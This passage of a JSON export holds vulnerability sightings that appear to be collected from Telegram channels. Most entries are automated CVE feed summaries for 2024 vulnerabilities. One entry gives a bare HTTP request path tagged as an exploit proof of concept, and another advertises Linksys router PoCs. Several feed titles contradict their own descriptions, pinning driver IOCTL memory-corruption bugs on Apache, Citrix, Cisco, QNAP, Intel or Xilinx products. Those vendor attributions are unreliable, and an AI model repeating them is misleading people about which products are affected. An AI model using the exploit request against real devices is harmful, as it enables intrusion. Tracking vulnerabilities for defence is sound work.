\u0627\u0644\u0634\u0628\u0643\u0629 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u062a\u0632\u0648\u062f \u0641\u0631\u0635 \u0646\u062c\u0627\u062d \u0627\u0644\u0647\u062c\u0648\u0645 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631.\n\n\n\u0631\u0627\u0628\u0637 \u0627\u0644\u0640EXPLOIT", "creation_timestamp": "2024-07-25T11:37:47.000000Z"}, {"uuid": "009fa192-e6d4-4b08-a2e9-420f6a1999cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3307", "type": "seen", "source": "Telegram/TaaJ_JZlZWtYrcHaof2QpsrmrvKMj9GTwwjIv0zdB5nPT_aa", "content": "", "creation_timestamp": "2025-03-08T04:36:11.000000Z"}, {"uuid": "dd1c2ac3-9a71-46d1-b9e5-c09d536876ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "seen", "source": "https://t.me/cvedetector/14997", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33297 - Microweber Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-33297 \nPublished : Jan. 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the campaign Name (Internal Name) field in the Add new campaign function \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T22:12:02.000000Z"}, {"uuid": "25f83d4e-ed96-479a-9094-cfe394463791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33067", "type": "seen", "source": "https://t.me/cvedetector/14355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33067 - ADSP Sound Model Driver Unvalidated Opcode Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-33067 \nPublished : Jan. 6, 2025, 11:15 a.m. | 28\u00a0minutes ago \nDescription : Information disclosure while invoking callback function of sound model driver from ADSP for every valid opcode received from sound model driver. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T12:45:05.000000Z"}, {"uuid": "a0c86f54-0a85-4727-b1be-de44e32905b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33041", "type": "seen", "source": "https://t.me/cvedetector/14354", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33041 - Apache Fencetrack Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33041 \nPublished : Jan. 6, 2025, 11:15 a.m. | 28\u00a0minutes ago \nDescription : Memory corruption when input parameter validation for number of fences is missing for fence frame IOCTL calls, \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T12:45:04.000000Z"}, {"uuid": "81b0bdee-1ff4-47a4-9ea5-7ec1877b41a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33061", "type": "seen", "source": "https://t.me/cvedetector/14352", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33061 - Citrix Hypervisor Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33061 \nPublished : Jan. 6, 2025, 11:15 a.m. | 28\u00a0minutes ago \nDescription : Information disclosure while processing IOCTL call made for releasing a trusted VM process release or opening a channel without initializing the process. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T12:44:59.000000Z"}, {"uuid": "4e3c67d1-60de-43b2-860c-dd762ef647a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33059", "type": "seen", "source": "https://t.me/cvedetector/14351", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33059 - Apache Web Server Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33059 \nPublished : Jan. 6, 2025, 11:15 a.m. | 28\u00a0minutes ago \nDescription : Memory corruption while processing frame command IOCTL calls. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T12:44:59.000000Z"}, {"uuid": "fb222e5f-5cd1-4209-8e67-f0683f03e2ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33055", "type": "seen", "source": "https://t.me/cvedetector/14350", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33055 - Acronis Storage OpenStack flaw in IOCTL Handler\", \n  \"Content\": \"CVE ID : CVE-2024-33055 \nPublished : Jan. 6, 2025, 11:15 a.m. | 28\u00a0minutes ago \nDescription : Memory corruption while invoking IOCTL calls to unmap the DMA buffers. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T12:44:58.000000Z"}, {"uuid": "776b550a-c557-4714-b85c-175f2f81f415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "seen", "source": "https://t.me/cvedetector/14998", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33298 - Microweber Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-33298 \nPublished : Jan. 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : Microweber Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the create new backup function in the endpoint /admin/module/view?type=admin__backup \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T22:12:02.000000Z"}, {"uuid": "b420b13a-56a1-41c8-ad69-9ed4fd619ce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "seen", "source": "https://t.me/cvedetector/14996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33299 - Microweber Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-33299 \nPublished : Jan. 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the First Name and Last Name parameters in the endpoint /admin/module/view?type=users \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T22:12:01.000000Z"}, {"uuid": "7bdb871d-200f-411b-8a43-8c8007b63995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33071", "type": "seen", "source": "https://t.me/cvedetector/7223", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33071 - Aruba Networks Wi-Fi DOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33071 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Transient DOS while parsing the MBSSID IE from the beacons when IE length is 0. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:52.000000Z"}, {"uuid": "473c25e2-ea88-4fb3-a267-edcab3a195eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33070", "type": "seen", "source": "https://t.me/cvedetector/7222", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33070 - ArubaOS Aruba's Wi-Fi Remote Unauthenticated Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-33070 \nPublished : Oct. 7, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Transient DOS while parsing ESP IE from beacon/probe response frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-07T15:57:48.000000Z"}, {"uuid": "51ac7877-f4e9-45ec-be8b-0fc3a0bf9a98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33655", "type": "seen", "source": "Telegram/jHCDPEpVRgq5D6l_aer-oTMtl5KFvgMyq4zL2NDeZWOt9_o", "content": "", "creation_timestamp": "2024-07-27T18:04:50.000000Z"}, {"uuid": "abe52b6a-0d8e-49f5-8aac-1179a93eddd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33605", "type": "seen", "source": "https://t.me/realLulzSec/15025", "content": "CVE-2024-33605\n\nGET /installed_emanual_list.html\n\n#exploit #poc", "creation_timestamp": "2024-07-30T21:15:41.000000Z"}, {"uuid": "50f54650-cec9-4bca-bfbd-cf1dc8606ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33048", "type": "seen", "source": "https://t.me/cvedetector/4614", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33048 - Aruba WiFi DOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33048 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Transient DOS while parsing the received TID-to-link mapping element of beacon/probe response frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:52.000000Z"}, {"uuid": "ee0f34c2-fc8d-49a2-8416-4d560bd6071d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/cvedetector/13724", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3393 - Palo Alto Networks PAN-OS DNS Reboot Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-3393 \nPublished : Dec. 27, 2024, 10:15 a.m. | 31\u00a0minutes ago \nDescription : A Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to send a malicious packet through the data plane of the firewall that reboots the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T11:48:32.000000Z"}, {"uuid": "208702a4-57a3-40d6-9455-d7759144345d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/cibsecurity/81874", "content": "\ud83e\udd85 CISA Adds CVE-2024-3393 to Vulnerabilities Catalog: Palo Alto Networks PAN-OS DNS Packet Flaw Threatens Firewalls \ud83e\udd85\n\n  Overview\u00a0   The Cybersecurity and Infrastructure Security Agency CISA has added CVE20243393, a Palo Alto Networks PANOS Malformed DNS Packet vulnerability, to its Known Exploited Vulnerabilities KEV catalog. This vulnerability impacts the DNS Security feature of PANOS, which powers firewalls and security solutions. The vulnerability allows attackers to exploit the system through specially crafted DNS packets, leading to a denialofservice DoS condition, affecting the availability of essential firewall services.\u00a0   On December 27, 2024, Palo Alto Networks reported a Denial of Service DoS vulnerability in the DNS Security feature of PANOS, specifically linked to the malformed DNS packet handling process. This issue, now documented as CVE20243393, has been added to the CISAs Known Exploit...\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"CYBLE\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2025-01-02T14:22:32.000000Z"}, {"uuid": "ff4e8898-cf4b-40d0-9e25-1e16eaeb8f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/111", "content": "Linksys routers POCs\n*\nCVE-2024-33788 - POC exploit\nCVE-2024-33789 - POC exploit", "creation_timestamp": "2024-05-07T21:10:44.000000Z"}, {"uuid": "466e490a-6ca2-4109-97bd-6a0e608144e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33231", "type": "seen", "source": "https://t.me/cvedetector/11411", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33231 - Ferozo Email Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-33231 \nPublished : Nov. 18, 2024, 11:15 p.m. | 30\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Ferozo Email version 1.1 allows a local attacker to execute arbitrary code via a crafted payload to the PDF preview component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T00:55:11.000000Z"}, {"uuid": "dcff0e00-c0fb-454a-8e43-9c552dd77e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3370", "type": "seen", "source": "https://t.me/cvedetector/11334", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3370 - Egebilgi Software Website Template SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-3370 \nPublished : Nov. 18, 2024, 1:15 p.m. | 32\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Egebilgi Software Website Template allows SQL Injection.This issue affects Website Template: before 29.04.2024. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T14:52:43.000000Z"}, {"uuid": "d4ff3e54-e2ed-4456-a72b-e2a8fb9a9305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33036", "type": "seen", "source": "https://t.me/cvedetector/11765", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33036 - Cisco Camera Driver Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33036 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption while parsing sensor packets in camera driver, user-space variable is used while allocating memory in kernel and parsing which can lead to huge allocation or invalid memory access. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:54:01.000000Z"}, {"uuid": "da56e100-ed02-4e9e-9620-2d501ba4dbb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33039", "type": "seen", "source": "https://t.me/cvedetector/11764", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33039 - WebEx Bug Fixing Tool Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33039 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption when PAL client calls PAL service APIs by passing a random value as handle and the handle is not validated by the service. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:54:01.000000Z"}, {"uuid": "2ef74acd-9abc-4391-854a-319543de7dff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33063", "type": "seen", "source": "https://t.me/cvedetector/11761", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33063 - Cisco Wi-Fi DOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33063 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Transient DOS while parsing the ML IE when a beacon with common info length of the ML IE greater than the ML IE inside which this element is present. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:53:55.000000Z"}, {"uuid": "66919ee5-bd0d-4d04-af2c-1bff1591ca01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33056", "type": "seen", "source": "https://t.me/cvedetector/11760", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33056 - Intel Meltdown SMEM Partition Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33056 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption when allocating and accessing an entry in an SMEM partition continuously. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:53:55.000000Z"}, {"uuid": "d6e6adc6-33f7-4625-a2e7-971427caf32c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33053", "type": "seen", "source": "https://t.me/cvedetector/11759", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33053 - Cisco CVP Buffer Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33053 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption when multiple threads try to unregister the CVP buffer at the same time. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:53:54.000000Z"}, {"uuid": "36a9d9c4-1c79-4ee1-840d-e5a57fc405ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33044", "type": "seen", "source": "https://t.me/cvedetector/11758", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33044 - QNAP Router Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33044 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption while Configuring the SMR/S2CR register in Bypass mode. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:53:53.000000Z"}, {"uuid": "34dfbb93-3637-4e21-abcf-345094a6584e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33037", "type": "seen", "source": "https://t.me/cvedetector/11763", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33037 - Xilinx Zynq NPU IPC Message Invalid Format Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33037 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Information disclosure as NPU firmware can send invalid IPC message to NPU driver as the driver doesn`t validate the IPC message received from the firmware. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:54:00.000000Z"}, {"uuid": "fe1ee7cc-3217-4f19-a514-63a685c1295f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33040", "type": "seen", "source": "https://t.me/cvedetector/11757", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33040 - Apache Cassandra NULL Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-33040 \nPublished : Dec. 2, 2024, 11:15 a.m. | 35\u00a0minutes ago \nDescription : Memory corruption while invoking redundant release command to release one buffer from user space as race condition can occur in kernel space between buffer release and buffer access. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T12:53:50.000000Z"}, {"uuid": "30bfc0fb-cd1b-4374-beaf-35d146e3fdcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33439", "type": "seen", "source": "https://t.me/cvedetector/11654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33439 - Kasda LinkSmart Router OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33439 \nPublished : Nov. 20, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : An issue in Kasda LinkSmart Router KW5515 v1.7 and before allows an authenticated remote attacker to execute arbitrary OS commands via cgi parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-20T21:16:55.000000Z"}, {"uuid": "4c6afac4-a0a6-4248-8fbe-d96ae41a5a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33658", "type": "seen", "source": "https://t.me/cvedetector/10629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33658 - APTIOV BIOS Memory Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33658 \nPublished : Nov. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : APTIOV contains a vulnerability in BIOS where an attacker may cause an Improper Restriction of Operations within the Bounds of a Memory Buffer by local. Successful exploitation of this vulnerability may lead to privilege escalation and potentially arbitrary code execution, and impact Integrity. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T17:12:51.000000Z"}, {"uuid": "e8aeafa2-8fe1-4bd3-88d0-f0ced883a60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33660", "type": "seen", "source": "https://t.me/cvedetector/10627", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33660 - HP EliteBook SPI Flash Manipulation Persistence Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33660 \nPublished : Nov. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : An exploit is possible where an actor with physical access can manipulate SPI flash without being detected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T17:12:49.000000Z"}, {"uuid": "fdf5617b-2eb6-4330-bb53-ce005657e1bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3334", "type": "seen", "source": "https://t.me/cvedetector/11176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3334 - Digital Guardian Windows Agent Removable Media Encryption Security Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-3334 \nPublished : Nov. 15, 2024, 8:15 p.m. | 23\u00a0minutes ago \nDescription : A security bypass vulnerability exists in the Removable Media Encryption (RME)component of Digital Guardian Windows Agents prior to version 8.2.0. This allows a user to circumvent encryption controls by modifying metadata on the USB device thereby compromising the confidentiality of the stored data. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T21:39:16.000000Z"}, {"uuid": "899e6000-539b-470b-af87-272e99e2e1f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33032", "type": "seen", "source": "https://t.me/cvedetector/9717", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33032 - Apache HTTPD Async Memory Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-33032 \nPublished : Nov. 